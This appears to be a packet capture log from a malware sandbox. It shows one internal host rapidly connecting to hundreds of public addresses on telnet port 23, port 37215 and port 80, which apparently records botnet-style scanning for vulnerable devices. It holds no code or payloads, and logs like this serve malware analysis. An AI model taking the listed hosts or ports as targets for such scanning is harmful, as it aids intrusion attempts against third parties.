Oct 14, 2024 17:30:06.888737917 CEST	47016	23	192.168.2.14	9.30.58.66
Oct 14, 2024 17:30:06.888767958 CEST	51910	23	192.168.2.14	40.149.37.35
Oct 14, 2024 17:30:06.888792038 CEST	56880	23	192.168.2.14	150.99.102.117
Oct 14, 2024 17:30:06.888833046 CEST	55448	23	192.168.2.14	27.78.38.173
Oct 14, 2024 17:30:06.888834953 CEST	51504	23	192.168.2.14	187.139.215.61
Oct 14, 2024 17:30:06.888849020 CEST	44080	23	192.168.2.14	40.137.161.209
Oct 14, 2024 17:30:06.888886929 CEST	37926	23	192.168.2.14	20.151.159.114
Oct 14, 2024 17:30:06.888923883 CEST	52532	23	192.168.2.14	161.13.133.196
Oct 14, 2024 17:30:06.888958931 CEST	41210	23	192.168.2.14	170.15.21.39
Oct 14, 2024 17:30:06.888978004 CEST	37040	23	192.168.2.14	164.70.215.21
Oct 14, 2024 17:30:06.888982058 CEST	49404	23	192.168.2.14	190.73.5.10
Oct 14, 2024 17:30:06.888989925 CEST	60160	23	192.168.2.14	35.174.82.249
Oct 14, 2024 17:30:06.888998032 CEST	37215	53786	41.230.198.71	192.168.2.14
Oct 14, 2024 17:30:06.889004946 CEST	33256	23	192.168.2.14	191.8.115.211
Oct 14, 2024 17:30:06.889005899 CEST	37215	53786	197.246.195.66	192.168.2.14
Oct 14, 2024 17:30:06.889019012 CEST	37215	53786	197.21.124.69	192.168.2.14
Oct 14, 2024 17:30:06.889024973 CEST	33094	23	192.168.2.14	141.40.234.211
Oct 14, 2024 17:30:06.889034033 CEST	23	55992	94.139.240.229	192.168.2.14
Oct 14, 2024 17:30:06.889039993 CEST	37215	53786	156.5.71.225	192.168.2.14
Oct 14, 2024 17:30:06.889045954 CEST	37215	53786	156.40.80.209	192.168.2.14
Oct 14, 2024 17:30:06.889051914 CEST	37215	53786	156.46.244.81	192.168.2.14
Oct 14, 2024 17:30:06.889058113 CEST	37215	53786	156.14.26.224	192.168.2.14
Oct 14, 2024 17:30:06.889064074 CEST	37215	53786	197.22.38.71	192.168.2.14
Oct 14, 2024 17:30:06.889070034 CEST	37215	53786	197.138.146.133	192.168.2.14
Oct 14, 2024 17:30:06.889076948 CEST	37215	53786	197.71.119.27	192.168.2.14
Oct 14, 2024 17:30:06.889076948 CEST	55992	23	192.168.2.14	94.139.240.229
Oct 14, 2024 17:30:06.889081955 CEST	53786	37215	192.168.2.14	156.5.71.225
Oct 14, 2024 17:30:06.889082909 CEST	23	45834	24.156.129.86	192.168.2.14
Oct 14, 2024 17:30:06.889086008 CEST	53786	37215	192.168.2.14	156.46.244.81
Oct 14, 2024 17:30:06.889089108 CEST	53786	37215	192.168.2.14	156.40.80.209
Oct 14, 2024 17:30:06.889090061 CEST	37215	53786	197.146.21.194	192.168.2.14
Oct 14, 2024 17:30:06.889094114 CEST	53786	37215	192.168.2.14	156.14.26.224
Oct 14, 2024 17:30:06.889095068 CEST	37215	53786	41.135.148.232	192.168.2.14
Oct 14, 2024 17:30:06.889096022 CEST	53786	37215	192.168.2.14	197.22.38.71
Oct 14, 2024 17:30:06.889101982 CEST	37215	53786	41.135.12.150	192.168.2.14
Oct 14, 2024 17:30:06.889107943 CEST	53786	37215	192.168.2.14	197.246.195.66
Oct 14, 2024 17:30:06.889107943 CEST	53786	37215	192.168.2.14	41.230.198.71
Oct 14, 2024 17:30:06.889107943 CEST	53786	37215	192.168.2.14	197.21.124.69
Oct 14, 2024 17:30:06.889107943 CEST	45834	23	192.168.2.14	24.156.129.86
Oct 14, 2024 17:30:06.889113903 CEST	53786	37215	192.168.2.14	197.138.146.133
Oct 14, 2024 17:30:06.889115095 CEST	53786	37215	192.168.2.14	197.71.119.27
Oct 14, 2024 17:30:06.889122963 CEST	37215	53786	156.64.52.166	192.168.2.14
Oct 14, 2024 17:30:06.889126062 CEST	53786	37215	192.168.2.14	197.146.21.194
Oct 14, 2024 17:30:06.889130116 CEST	37215	53786	156.44.202.19	192.168.2.14
Oct 14, 2024 17:30:06.889137030 CEST	37215	53786	156.191.233.183	192.168.2.14
Oct 14, 2024 17:30:06.889142036 CEST	37215	53786	41.169.68.63	192.168.2.14
Oct 14, 2024 17:30:06.889154911 CEST	37215	53786	41.68.120.14	192.168.2.14
Oct 14, 2024 17:30:06.889159918 CEST	53786	37215	192.168.2.14	156.64.52.166
Oct 14, 2024 17:30:06.889162064 CEST	37215	53786	41.0.166.188	192.168.2.14
Oct 14, 2024 17:30:06.889167070 CEST	37215	53786	41.213.231.171	192.168.2.14
Oct 14, 2024 17:30:06.889173031 CEST	37215	53786	41.165.191.42	192.168.2.14
Oct 14, 2024 17:30:06.889187098 CEST	37215	53786	197.18.3.144	192.168.2.14
Oct 14, 2024 17:30:06.889185905 CEST	53786	37215	192.168.2.14	41.169.68.63
Oct 14, 2024 17:30:06.889185905 CEST	53786	37215	192.168.2.14	41.68.120.14
Oct 14, 2024 17:30:06.889185905 CEST	53786	37215	192.168.2.14	41.0.166.188
Oct 14, 2024 17:30:06.889193058 CEST	37215	53786	197.237.101.166	192.168.2.14
Oct 14, 2024 17:30:06.889206886 CEST	37215	53786	156.57.236.201	192.168.2.14
Oct 14, 2024 17:30:06.889209032 CEST	53786	37215	192.168.2.14	41.213.231.171
Oct 14, 2024 17:30:06.889214993 CEST	37215	53786	41.52.164.220	192.168.2.14
Oct 14, 2024 17:30:06.889225006 CEST	53786	37215	192.168.2.14	41.165.191.42
Oct 14, 2024 17:30:06.889225960 CEST	53786	37215	192.168.2.14	197.18.3.144
Oct 14, 2024 17:30:06.889229059 CEST	37215	53786	197.4.167.91	192.168.2.14
Oct 14, 2024 17:30:06.889235020 CEST	37215	53786	41.93.180.21	192.168.2.14
Oct 14, 2024 17:30:06.889235020 CEST	53786	37215	192.168.2.14	197.237.101.166
Oct 14, 2024 17:30:06.889240980 CEST	37215	53786	156.8.79.89	192.168.2.14
Oct 14, 2024 17:30:06.889246941 CEST	37215	53786	41.69.114.8	192.168.2.14
Oct 14, 2024 17:30:06.889246941 CEST	35384	23	192.168.2.14	164.230.206.14
Oct 14, 2024 17:30:06.889252901 CEST	53786	37215	192.168.2.14	41.135.148.232
Oct 14, 2024 17:30:06.889252901 CEST	53786	37215	192.168.2.14	41.135.12.150
Oct 14, 2024 17:30:06.889255047 CEST	37215	53786	41.173.126.229	192.168.2.14
Oct 14, 2024 17:30:06.889254093 CEST	53786	37215	192.168.2.14	156.44.202.19
Oct 14, 2024 17:30:06.889255047 CEST	53786	37215	192.168.2.14	156.57.236.201
Oct 14, 2024 17:30:06.889254093 CEST	53786	37215	192.168.2.14	156.191.233.183
Oct 14, 2024 17:30:06.889255047 CEST	53786	37215	192.168.2.14	41.52.164.220
Oct 14, 2024 17:30:06.889254093 CEST	44896	23	192.168.2.14	183.30.89.161
Oct 14, 2024 17:30:06.889261007 CEST	37215	53786	156.218.65.17	192.168.2.14
Oct 14, 2024 17:30:06.889266014 CEST	37215	53786	41.211.157.186	192.168.2.14
Oct 14, 2024 17:30:06.889266968 CEST	60556	23	192.168.2.14	69.154.200.175
Oct 14, 2024 17:30:06.889273882 CEST	37215	53786	197.41.117.217	192.168.2.14
Oct 14, 2024 17:30:06.889281988 CEST	53786	37215	192.168.2.14	197.4.167.91
Oct 14, 2024 17:30:06.889281988 CEST	53786	37215	192.168.2.14	41.93.180.21
Oct 14, 2024 17:30:06.889285088 CEST	53786	37215	192.168.2.14	156.8.79.89
Oct 14, 2024 17:30:06.889290094 CEST	37215	53786	156.200.60.162	192.168.2.14
Oct 14, 2024 17:30:06.889293909 CEST	53786	37215	192.168.2.14	41.69.114.8
Oct 14, 2024 17:30:06.889295101 CEST	53786	37215	192.168.2.14	156.218.65.17
Oct 14, 2024 17:30:06.889296055 CEST	37215	53786	156.90.212.9	192.168.2.14
Oct 14, 2024 17:30:06.889296055 CEST	53786	37215	192.168.2.14	41.211.157.186
Oct 14, 2024 17:30:06.889309883 CEST	53786	37215	192.168.2.14	41.173.126.229
Oct 14, 2024 17:30:06.889311075 CEST	37215	53786	41.149.37.157	192.168.2.14
Oct 14, 2024 17:30:06.889318943 CEST	53786	37215	192.168.2.14	197.41.117.217
Oct 14, 2024 17:30:06.889328003 CEST	37215	53786	41.77.144.166	192.168.2.14
Oct 14, 2024 17:30:06.889334917 CEST	37215	53786	156.184.88.31	192.168.2.14
Oct 14, 2024 17:30:06.889337063 CEST	53786	37215	192.168.2.14	156.200.60.162
Oct 14, 2024 17:30:06.889341116 CEST	37215	53786	41.204.21.178	192.168.2.14
Oct 14, 2024 17:30:06.889348030 CEST	37215	53786	41.127.162.130	192.168.2.14
Oct 14, 2024 17:30:06.889359951 CEST	53786	37215	192.168.2.14	156.90.212.9
Oct 14, 2024 17:30:06.889359951 CEST	37215	53786	156.202.18.52	192.168.2.14
Oct 14, 2024 17:30:06.889360905 CEST	47500	23	192.168.2.14	133.166.17.9
Oct 14, 2024 17:30:06.889368057 CEST	37215	53786	156.227.86.15	192.168.2.14
Oct 14, 2024 17:30:06.889372110 CEST	53786	37215	192.168.2.14	41.77.144.166
Oct 14, 2024 17:30:06.889372110 CEST	53786	37215	192.168.2.14	156.184.88.31
Oct 14, 2024 17:30:06.889373064 CEST	53786	37215	192.168.2.14	41.149.37.157
Oct 14, 2024 17:30:06.889374018 CEST	37215	53786	41.118.149.111	192.168.2.14
Oct 14, 2024 17:30:06.889379978 CEST	37215	53786	156.248.172.21	192.168.2.14
Oct 14, 2024 17:30:06.889384985 CEST	37215	53786	156.133.98.116	192.168.2.14
Oct 14, 2024 17:30:06.889386892 CEST	53786	37215	192.168.2.14	41.204.21.178
Oct 14, 2024 17:30:06.889391899 CEST	37215	53786	197.122.244.203	192.168.2.14
Oct 14, 2024 17:30:06.889394045 CEST	53786	37215	192.168.2.14	41.127.162.130
Oct 14, 2024 17:30:06.889396906 CEST	53786	37215	192.168.2.14	156.202.18.52
Oct 14, 2024 17:30:06.889398098 CEST	37215	53786	156.154.204.165	192.168.2.14
Oct 14, 2024 17:30:06.889404058 CEST	37215	53786	197.222.41.154	192.168.2.14
Oct 14, 2024 17:30:06.889406919 CEST	53786	37215	192.168.2.14	156.227.86.15
Oct 14, 2024 17:30:06.889409065 CEST	37215	53786	156.34.199.16	192.168.2.14
Oct 14, 2024 17:30:06.889410019 CEST	53786	37215	192.168.2.14	156.248.172.21
Oct 14, 2024 17:30:06.889420986 CEST	53786	37215	192.168.2.14	41.118.149.111
Oct 14, 2024 17:30:06.889422894 CEST	37215	53786	156.145.63.73	192.168.2.14
Oct 14, 2024 17:30:06.889425993 CEST	53786	37215	192.168.2.14	156.154.204.165
Oct 14, 2024 17:30:06.889429092 CEST	37215	53786	41.184.162.69	192.168.2.14
Oct 14, 2024 17:30:06.889436960 CEST	37215	53786	197.126.105.192	192.168.2.14
Oct 14, 2024 17:30:06.889441967 CEST	53786	37215	192.168.2.14	156.34.199.16
Oct 14, 2024 17:30:06.889450073 CEST	53786	37215	192.168.2.14	197.122.244.203
Oct 14, 2024 17:30:06.889450073 CEST	53786	37215	192.168.2.14	197.222.41.154
Oct 14, 2024 17:30:06.889451027 CEST	37215	53786	156.29.247.248	192.168.2.14
Oct 14, 2024 17:30:06.889457941 CEST	37215	53786	156.152.201.32	192.168.2.14
Oct 14, 2024 17:30:06.889457941 CEST	53786	37215	192.168.2.14	156.145.63.73
Oct 14, 2024 17:30:06.889468908 CEST	53786	37215	192.168.2.14	41.184.162.69
Oct 14, 2024 17:30:06.889471054 CEST	53786	37215	192.168.2.14	156.133.98.116
Oct 14, 2024 17:30:06.889471054 CEST	37215	53786	41.4.146.228	192.168.2.14
Oct 14, 2024 17:30:06.889478922 CEST	37215	53786	197.72.54.152	192.168.2.14
Oct 14, 2024 17:30:06.889478922 CEST	53786	37215	192.168.2.14	197.126.105.192
Oct 14, 2024 17:30:06.889483929 CEST	37215	53786	156.217.224.41	192.168.2.14
Oct 14, 2024 17:30:06.889489889 CEST	37215	53786	41.190.54.148	192.168.2.14
Oct 14, 2024 17:30:06.889496088 CEST	37215	53786	41.29.91.208	192.168.2.14
Oct 14, 2024 17:30:06.889501095 CEST	53786	37215	192.168.2.14	156.29.247.248
Oct 14, 2024 17:30:06.889501095 CEST	37215	53786	41.27.134.153	192.168.2.14
Oct 14, 2024 17:30:06.889507055 CEST	37215	53786	41.87.233.145	192.168.2.14
Oct 14, 2024 17:30:06.889513016 CEST	37215	53786	41.42.15.199	192.168.2.14
Oct 14, 2024 17:30:06.889518023 CEST	53786	37215	192.168.2.14	156.152.201.32
Oct 14, 2024 17:30:06.889518976 CEST	37215	53786	156.14.206.189	192.168.2.14
Oct 14, 2024 17:30:06.889523029 CEST	53786	37215	192.168.2.14	41.4.146.228
Oct 14, 2024 17:30:06.889523029 CEST	53786	37215	192.168.2.14	156.217.224.41
Oct 14, 2024 17:30:06.889523029 CEST	53786	37215	192.168.2.14	197.72.54.152
Oct 14, 2024 17:30:06.889523029 CEST	53786	37215	192.168.2.14	41.190.54.148
Oct 14, 2024 17:30:06.889525890 CEST	37215	53786	197.105.66.87	192.168.2.14
Oct 14, 2024 17:30:06.889533043 CEST	37215	53786	41.2.143.140	192.168.2.14
Oct 14, 2024 17:30:06.889540911 CEST	37215	53786	156.106.177.24	192.168.2.14
Oct 14, 2024 17:30:06.889544010 CEST	53786	37215	192.168.2.14	41.87.233.145
Oct 14, 2024 17:30:06.889548063 CEST	53786	37215	192.168.2.14	41.27.134.153
Oct 14, 2024 17:30:06.889548063 CEST	53786	37215	192.168.2.14	41.29.91.208
Oct 14, 2024 17:30:06.889550924 CEST	37215	53786	156.200.177.180	192.168.2.14
Oct 14, 2024 17:30:06.889556885 CEST	53786	37215	192.168.2.14	41.42.15.199
Oct 14, 2024 17:30:06.889558077 CEST	37215	53786	197.56.208.211	192.168.2.14
Oct 14, 2024 17:30:06.889564037 CEST	37215	53786	197.2.172.48	192.168.2.14
Oct 14, 2024 17:30:06.889569998 CEST	37215	53786	156.77.223.84	192.168.2.14
Oct 14, 2024 17:30:06.889575005 CEST	37215	53786	156.128.50.30	192.168.2.14
Oct 14, 2024 17:30:06.889578104 CEST	53786	37215	192.168.2.14	156.14.206.189
Oct 14, 2024 17:30:06.889580011 CEST	53786	37215	192.168.2.14	197.105.66.87
Oct 14, 2024 17:30:06.889580011 CEST	53786	37215	192.168.2.14	41.2.143.140
Oct 14, 2024 17:30:06.889580011 CEST	53786	37215	192.168.2.14	156.200.177.180
Oct 14, 2024 17:30:06.889581919 CEST	37215	53786	197.110.0.63	192.168.2.14
Oct 14, 2024 17:30:06.889589071 CEST	37215	53786	41.58.31.4	192.168.2.14
Oct 14, 2024 17:30:06.889591932 CEST	53786	37215	192.168.2.14	197.2.172.48
Oct 14, 2024 17:30:06.889591932 CEST	53786	37215	192.168.2.14	197.56.208.211
Oct 14, 2024 17:30:06.889595032 CEST	37215	53786	197.150.10.213	192.168.2.14
Oct 14, 2024 17:30:06.889597893 CEST	53786	37215	192.168.2.14	156.106.177.24
Oct 14, 2024 17:30:06.889601946 CEST	37215	53786	156.133.232.239	192.168.2.14
Oct 14, 2024 17:30:06.889607906 CEST	37215	53786	41.71.181.231	192.168.2.14
Oct 14, 2024 17:30:06.889614105 CEST	53786	37215	192.168.2.14	156.128.50.30
Oct 14, 2024 17:30:06.889614105 CEST	53786	37215	192.168.2.14	156.77.223.84
Oct 14, 2024 17:30:06.889615059 CEST	37215	53786	156.172.0.45	192.168.2.14
Oct 14, 2024 17:30:06.889621019 CEST	53786	37215	192.168.2.14	41.58.31.4
Oct 14, 2024 17:30:06.889625072 CEST	37215	53786	41.114.67.67	192.168.2.14
Oct 14, 2024 17:30:06.889628887 CEST	53786	37215	192.168.2.14	197.110.0.63
Oct 14, 2024 17:30:06.889630079 CEST	53786	37215	192.168.2.14	197.150.10.213
Oct 14, 2024 17:30:06.889631033 CEST	37215	53786	41.75.65.87	192.168.2.14
Oct 14, 2024 17:30:06.889633894 CEST	54626	23	192.168.2.14	180.153.9.176
Oct 14, 2024 17:30:06.889637947 CEST	37215	53786	197.202.59.135	192.168.2.14
Oct 14, 2024 17:30:06.889641047 CEST	53786	37215	192.168.2.14	41.71.181.231
Oct 14, 2024 17:30:06.889645100 CEST	53786	37215	192.168.2.14	156.133.232.239
Oct 14, 2024 17:30:06.889657021 CEST	53786	37215	192.168.2.14	156.172.0.45
Oct 14, 2024 17:30:06.889657021 CEST	53786	37215	192.168.2.14	41.114.67.67
Oct 14, 2024 17:30:06.889669895 CEST	53786	37215	192.168.2.14	41.75.65.87
Oct 14, 2024 17:30:06.889678955 CEST	53786	37215	192.168.2.14	197.202.59.135
Oct 14, 2024 17:30:06.889709949 CEST	45532	23	192.168.2.14	125.59.30.179
Oct 14, 2024 17:30:06.889714956 CEST	48616	23	192.168.2.14	204.252.176.152
Oct 14, 2024 17:30:06.889733076 CEST	45870	23	192.168.2.14	197.208.154.35
Oct 14, 2024 17:30:06.889764071 CEST	45092	23	192.168.2.14	168.4.19.140
Oct 14, 2024 17:30:06.889770031 CEST	56566	23	192.168.2.14	66.13.249.127
Oct 14, 2024 17:30:06.889780998 CEST	45516	23	192.168.2.14	110.6.205.136
Oct 14, 2024 17:30:06.889796972 CEST	48716	23	192.168.2.14	38.231.167.158
Oct 14, 2024 17:30:06.889813900 CEST	48996	23	192.168.2.14	182.173.129.246
Oct 14, 2024 17:30:06.889827967 CEST	47112	23	192.168.2.14	103.195.30.108
Oct 14, 2024 17:30:06.889827967 CEST	46576	23	192.168.2.14	116.217.136.109
Oct 14, 2024 17:30:06.889873028 CEST	39720	23	192.168.2.14	1.170.6.206
Oct 14, 2024 17:30:06.889888048 CEST	47728	23	192.168.2.14	2.107.95.171
Oct 14, 2024 17:30:06.889925003 CEST	37215	53786	156.37.176.249	192.168.2.14
Oct 14, 2024 17:30:06.889925957 CEST	44278	23	192.168.2.14	4.233.10.115
Oct 14, 2024 17:30:06.889936924 CEST	38110	23	192.168.2.14	101.215.45.130
Oct 14, 2024 17:30:06.889940023 CEST	37215	53786	156.133.247.181	192.168.2.14
Oct 14, 2024 17:30:06.889945030 CEST	51382	23	192.168.2.14	14.159.88.55
Oct 14, 2024 17:30:06.889945984 CEST	37215	53786	41.214.206.90	192.168.2.14
Oct 14, 2024 17:30:06.889951944 CEST	37215	53786	41.202.199.172	192.168.2.14
Oct 14, 2024 17:30:06.889956951 CEST	37215	53786	197.189.83.187	192.168.2.14
Oct 14, 2024 17:30:06.889956951 CEST	43338	23	192.168.2.14	128.196.200.189
Oct 14, 2024 17:30:06.889960051 CEST	55784	23	192.168.2.14	177.150.116.205
Oct 14, 2024 17:30:06.889960051 CEST	45990	23	192.168.2.14	123.12.3.107
Oct 14, 2024 17:30:06.889966011 CEST	37215	53786	41.68.157.225	192.168.2.14
Oct 14, 2024 17:30:06.889971972 CEST	37215	53786	197.98.115.220	192.168.2.14
Oct 14, 2024 17:30:06.889974117 CEST	53786	37215	192.168.2.14	156.37.176.249
Oct 14, 2024 17:30:06.889981031 CEST	53786	37215	192.168.2.14	41.214.206.90
Oct 14, 2024 17:30:06.889981031 CEST	35094	23	192.168.2.14	40.251.3.123
Oct 14, 2024 17:30:06.889983892 CEST	53786	37215	192.168.2.14	156.133.247.181
Oct 14, 2024 17:30:06.889985085 CEST	37215	53786	197.29.77.103	192.168.2.14
Oct 14, 2024 17:30:06.889987946 CEST	53786	37215	192.168.2.14	197.189.83.187
Oct 14, 2024 17:30:06.889991999 CEST	37215	53786	156.241.1.84	192.168.2.14
Oct 14, 2024 17:30:06.889997005 CEST	53786	37215	192.168.2.14	41.202.199.172
Oct 14, 2024 17:30:06.889997959 CEST	37215	53786	41.105.21.89	192.168.2.14
Oct 14, 2024 17:30:06.889997005 CEST	53786	37215	192.168.2.14	41.68.157.225
Oct 14, 2024 17:30:06.890002966 CEST	37215	53786	41.155.127.9	192.168.2.14
Oct 14, 2024 17:30:06.890008926 CEST	37215	53786	41.156.19.163	192.168.2.14
Oct 14, 2024 17:30:06.890011072 CEST	53786	37215	192.168.2.14	197.29.77.103
Oct 14, 2024 17:30:06.890013933 CEST	37215	53786	197.64.37.220	192.168.2.14
Oct 14, 2024 17:30:06.890018940 CEST	53786	37215	192.168.2.14	197.98.115.220
Oct 14, 2024 17:30:06.890028000 CEST	37215	53786	197.46.201.92	192.168.2.14
Oct 14, 2024 17:30:06.890034914 CEST	37215	53786	156.67.205.16	192.168.2.14
Oct 14, 2024 17:30:06.890041113 CEST	37215	53786	197.104.240.47	192.168.2.14
Oct 14, 2024 17:30:06.890041113 CEST	53786	37215	192.168.2.14	41.105.21.89
Oct 14, 2024 17:30:06.890041113 CEST	53786	37215	192.168.2.14	156.241.1.84
Oct 14, 2024 17:30:06.890042067 CEST	52992	23	192.168.2.14	71.135.228.51
Oct 14, 2024 17:30:06.890042067 CEST	53786	37215	192.168.2.14	197.64.37.220
Oct 14, 2024 17:30:06.890044928 CEST	53786	37215	192.168.2.14	41.156.19.163
Oct 14, 2024 17:30:06.890047073 CEST	80	53274	154.146.248.32	192.168.2.14
Oct 14, 2024 17:30:06.890058041 CEST	37215	53786	156.84.51.94	192.168.2.14
Oct 14, 2024 17:30:06.890060902 CEST	53786	37215	192.168.2.14	41.155.127.9
Oct 14, 2024 17:30:06.890063047 CEST	39820	23	192.168.2.14	151.247.114.12
Oct 14, 2024 17:30:06.890064001 CEST	37215	53786	41.155.25.102	192.168.2.14
Oct 14, 2024 17:30:06.890069962 CEST	37215	53786	156.94.95.86	192.168.2.14
Oct 14, 2024 17:30:06.890074968 CEST	37215	53786	156.75.20.38	192.168.2.14
Oct 14, 2024 17:30:06.890078068 CEST	53786	37215	192.168.2.14	156.67.205.16
Oct 14, 2024 17:30:06.890079975 CEST	53786	37215	192.168.2.14	197.46.201.92
Oct 14, 2024 17:30:06.890080929 CEST	37215	53786	156.172.22.61	192.168.2.14
Oct 14, 2024 17:30:06.890084028 CEST	53786	37215	192.168.2.14	197.104.240.47
Oct 14, 2024 17:30:06.890086889 CEST	37215	53786	41.251.81.116	192.168.2.14
Oct 14, 2024 17:30:06.890089989 CEST	53274	80	192.168.2.14	154.146.248.32
Oct 14, 2024 17:30:06.890093088 CEST	80	53274	173.95.246.32	192.168.2.14
Oct 14, 2024 17:30:06.890099049 CEST	37215	53786	197.92.129.215	192.168.2.14
Oct 14, 2024 17:30:06.890100956 CEST	53786	37215	192.168.2.14	41.155.25.102
Oct 14, 2024 17:30:06.890100956 CEST	53786	37215	192.168.2.14	156.84.51.94
Oct 14, 2024 17:30:06.890105009 CEST	37215	53786	156.50.39.197	192.168.2.14
Oct 14, 2024 17:30:06.890110970 CEST	80	53274	209.48.120.48	192.168.2.14
Oct 14, 2024 17:30:06.890113115 CEST	53786	37215	192.168.2.14	156.75.20.38
Oct 14, 2024 17:30:06.890113115 CEST	53786	37215	192.168.2.14	156.172.22.61
Oct 14, 2024 17:30:06.890117884 CEST	80	53274	140.35.46.86	192.168.2.14
Oct 14, 2024 17:30:06.890127897 CEST	53786	37215	192.168.2.14	41.251.81.116
Oct 14, 2024 17:30:06.890130043 CEST	53786	37215	192.168.2.14	156.94.95.86
Oct 14, 2024 17:30:06.890132904 CEST	53786	37215	192.168.2.14	197.92.129.215
Oct 14, 2024 17:30:06.890137911 CEST	53274	80	192.168.2.14	173.95.246.32
Oct 14, 2024 17:30:06.890140057 CEST	53274	80	192.168.2.14	209.48.120.48
Oct 14, 2024 17:30:06.890153885 CEST	53274	80	192.168.2.14	140.35.46.86
Oct 14, 2024 17:30:06.890157938 CEST	53786	37215	192.168.2.14	156.50.39.197
Oct 14, 2024 17:30:06.890199900 CEST	43886	23	192.168.2.14	154.239.100.49
Oct 14, 2024 17:30:06.890208960 CEST	33654	23	192.168.2.14	209.34.229.39
Oct 14, 2024 17:30:06.890227079 CEST	32916	23	192.168.2.14	97.103.36.128
Oct 14, 2024 17:30:06.890233994 CEST	50090	23	192.168.2.14	113.86.101.254
Oct 14, 2024 17:30:06.890244961 CEST	80	53274	31.61.189.139	192.168.2.14
Oct 14, 2024 17:30:06.890256882 CEST	37215	53786	197.66.199.226	192.168.2.14
Oct 14, 2024 17:30:06.890259027 CEST	37215	53786	41.70.65.253	192.168.2.14
Oct 14, 2024 17:30:06.890264988 CEST	80	53274	213.109.234.0	192.168.2.14
Oct 14, 2024 17:30:06.890268087 CEST	80	53274	198.117.133.17	192.168.2.14
Oct 14, 2024 17:30:06.890269041 CEST	58658	23	192.168.2.14	45.174.52.105
Oct 14, 2024 17:30:06.890274048 CEST	37215	53786	156.139.116.218	192.168.2.14
Oct 14, 2024 17:30:06.890275002 CEST	44548	23	192.168.2.14	70.105.22.141
Oct 14, 2024 17:30:06.890279055 CEST	37215	53786	156.185.156.74	192.168.2.14
Oct 14, 2024 17:30:06.890285015 CEST	37215	53786	41.217.95.207	192.168.2.14
Oct 14, 2024 17:30:06.890285015 CEST	51142	23	192.168.2.14	104.158.105.16
Oct 14, 2024 17:30:06.890290976 CEST	37215	53786	197.114.152.38	192.168.2.14
Oct 14, 2024 17:30:06.890300035 CEST	53274	80	192.168.2.14	31.61.189.139
Oct 14, 2024 17:30:06.890301943 CEST	37215	53786	41.101.172.255	192.168.2.14
Oct 14, 2024 17:30:06.890305042 CEST	53274	80	192.168.2.14	213.109.234.0
Oct 14, 2024 17:30:06.890309095 CEST	80	53274	37.117.104.110	192.168.2.14
Oct 14, 2024 17:30:06.890314102 CEST	53786	37215	192.168.2.14	156.139.116.218
Oct 14, 2024 17:30:06.890315056 CEST	37215	53786	41.178.191.173	192.168.2.14
Oct 14, 2024 17:30:06.890319109 CEST	53786	37215	192.168.2.14	156.185.156.74
Oct 14, 2024 17:30:06.890319109 CEST	53274	80	192.168.2.14	198.117.133.17
Oct 14, 2024 17:30:06.890321016 CEST	80	53274	45.49.243.224	192.168.2.14
Oct 14, 2024 17:30:06.890321016 CEST	53786	37215	192.168.2.14	197.66.199.226
Oct 14, 2024 17:30:06.890321016 CEST	53786	37215	192.168.2.14	41.70.65.253
Oct 14, 2024 17:30:06.890326023 CEST	53786	37215	192.168.2.14	41.217.95.207
Oct 14, 2024 17:30:06.890336037 CEST	37215	53786	41.47.133.46	192.168.2.14
Oct 14, 2024 17:30:06.890337944 CEST	53786	37215	192.168.2.14	197.114.152.38
Oct 14, 2024 17:30:06.890341997 CEST	37215	53786	197.188.213.20	192.168.2.14
Oct 14, 2024 17:30:06.890348911 CEST	37215	53786	41.124.203.184	192.168.2.14
Oct 14, 2024 17:30:06.890351057 CEST	53786	37215	192.168.2.14	41.101.172.255
Oct 14, 2024 17:30:06.890355110 CEST	80	53274	196.228.192.58	192.168.2.14
Oct 14, 2024 17:30:06.890361071 CEST	80	53274	134.114.101.115	192.168.2.14
Oct 14, 2024 17:30:06.890362024 CEST	53274	80	192.168.2.14	37.117.104.110
Oct 14, 2024 17:30:06.890366077 CEST	80	53274	101.192.210.206	192.168.2.14
Oct 14, 2024 17:30:06.890372038 CEST	37215	53786	41.12.92.194	192.168.2.14
Oct 14, 2024 17:30:06.890373945 CEST	53786	37215	192.168.2.14	197.188.213.20
Oct 14, 2024 17:30:06.890377045 CEST	37215	53786	41.127.113.22	192.168.2.14
Oct 14, 2024 17:30:06.890383005 CEST	37215	53786	156.232.181.2	192.168.2.14
Oct 14, 2024 17:30:06.890383005 CEST	53786	37215	192.168.2.14	41.124.203.184
Oct 14, 2024 17:30:06.890387058 CEST	53786	37215	192.168.2.14	41.47.133.46
Oct 14, 2024 17:30:06.890388012 CEST	37215	53786	156.217.148.44	192.168.2.14
Oct 14, 2024 17:30:06.890394926 CEST	53274	80	192.168.2.14	196.228.192.58
Oct 14, 2024 17:30:06.890403032 CEST	80	53274	5.19.178.90	192.168.2.14
Oct 14, 2024 17:30:06.890403032 CEST	53274	80	192.168.2.14	45.49.243.224
Oct 14, 2024 17:30:06.890408993 CEST	37215	53786	156.118.238.210	192.168.2.14
Oct 14, 2024 17:30:06.890410900 CEST	53274	80	192.168.2.14	101.192.210.206
Oct 14, 2024 17:30:06.890423059 CEST	80	53274	73.36.132.75	192.168.2.14
Oct 14, 2024 17:30:06.890425920 CEST	53786	37215	192.168.2.14	41.12.92.194
Oct 14, 2024 17:30:06.890429020 CEST	37215	53786	197.75.224.123	192.168.2.14
Oct 14, 2024 17:30:06.890429974 CEST	53786	37215	192.168.2.14	41.178.191.173
Oct 14, 2024 17:30:06.890429974 CEST	53786	37215	192.168.2.14	156.217.148.44
Oct 14, 2024 17:30:06.890440941 CEST	37215	53786	156.34.113.209	192.168.2.14
Oct 14, 2024 17:30:06.890453100 CEST	53786	37215	192.168.2.14	156.118.238.210
Oct 14, 2024 17:30:06.890463114 CEST	53786	37215	192.168.2.14	156.232.181.2
Oct 14, 2024 17:30:06.890469074 CEST	53274	80	192.168.2.14	134.114.101.115
Oct 14, 2024 17:30:06.890469074 CEST	53786	37215	192.168.2.14	41.127.113.22
Oct 14, 2024 17:30:06.890469074 CEST	53274	80	192.168.2.14	5.19.178.90
Oct 14, 2024 17:30:06.890469074 CEST	53274	80	192.168.2.14	73.36.132.75
Oct 14, 2024 17:30:06.890470982 CEST	53786	37215	192.168.2.14	156.34.113.209
Oct 14, 2024 17:30:06.890471935 CEST	53786	37215	192.168.2.14	197.75.224.123
Oct 14, 2024 17:30:06.890525103 CEST	53284	23	192.168.2.14	87.159.61.49
Oct 14, 2024 17:30:06.890525103 CEST	40836	23	192.168.2.14	134.197.22.25
Oct 14, 2024 17:30:06.890544891 CEST	38410	23	192.168.2.14	25.93.216.8
Oct 14, 2024 17:30:06.890574932 CEST	35940	23	192.168.2.14	108.50.152.159
